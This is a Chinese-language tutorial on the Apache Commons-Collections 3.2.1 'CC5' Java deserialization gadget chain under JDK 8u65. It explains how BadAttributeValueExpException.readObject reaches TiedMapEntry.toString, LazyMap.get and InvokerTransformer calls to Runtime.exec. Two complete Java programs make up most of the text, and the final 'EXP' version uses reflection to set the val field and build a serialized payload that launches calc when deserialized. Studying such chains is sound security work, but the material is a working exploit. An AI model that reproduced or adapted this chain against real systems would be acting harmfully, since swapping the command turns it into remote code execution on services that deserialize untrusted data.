<1> 环境分析

jdk：jdk8u65
CC：Commons-Collections 3.2.1
pom.xml 添加

    <dependencies>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
    </dependencies>

<2> CC5链子分析

/*
	Gadget chain:
        ObjectInputStream.readObject()
            BadAttributeValueExpException.readObject()
                TiedMapEntry.toString()
                    LazyMap.get()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Class.getMethod()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.getRuntime()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.exec()
	Requires:
		commons-collections
This only works in JDK 8u76 and WITHOUT a security manager
 */

CC5的链和CC1差不多，只不过调用 LazyMap.get()用的是 TiedMapEntry.toString()触发的

我们来看一下 TiedMapEntry.toString()

这里会调用 getValue() 跟进看一下 getValue函数内容

这里可以调用 LazyMap.get() 因此我们给TiedMapEntry的map赋值LazyMap 即可

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.util.HashMap;
import java.util.Map;

public class CC5Test {
    public static void main(String[] args) {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object,Object> map = new HashMap<>();
        Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"aaa");
        tiedMapEntry.toString();
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("sercc5.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        return ois.readObject();
    }
}

成功弹出了计算器

我们再找一找触发点，来看看哪里的readObject调用了 toString。由于调用 toString()的实在太多了，这里我们之间看作者找到的 BadAttributeValueExpException

这里注意，由于构造函数在构造时会直接调用 toString()

因此我们应该先传入一个随便的类型，然后通过反射修改 val属性为我们构造的TiedMapEntry，这样的话，反序列化时才会调用TiedMapEntry 生成序列化数据时不会调用链子(直接写的话反序列化也会可正常调用，不过不太好我们不需要在生成时本地执行一次恶意命令)

<3> EXP编写

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC5Test {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object,Object> map = new HashMap<>();
        Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"aaa");
        //tiedMapEntry.toString();
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1);

        Class c = badAttributeValueExpException.getClass();
        Field val = c.getDeclaredField("val");
        val.setAccessible(true);
        val.set(badAttributeValueExpException,tiedMapEntry);

        //serialize(badAttributeValueExpException);
        unserialize("sercc5.bin");
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("sercc5.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        return ois.readObject();
    }
}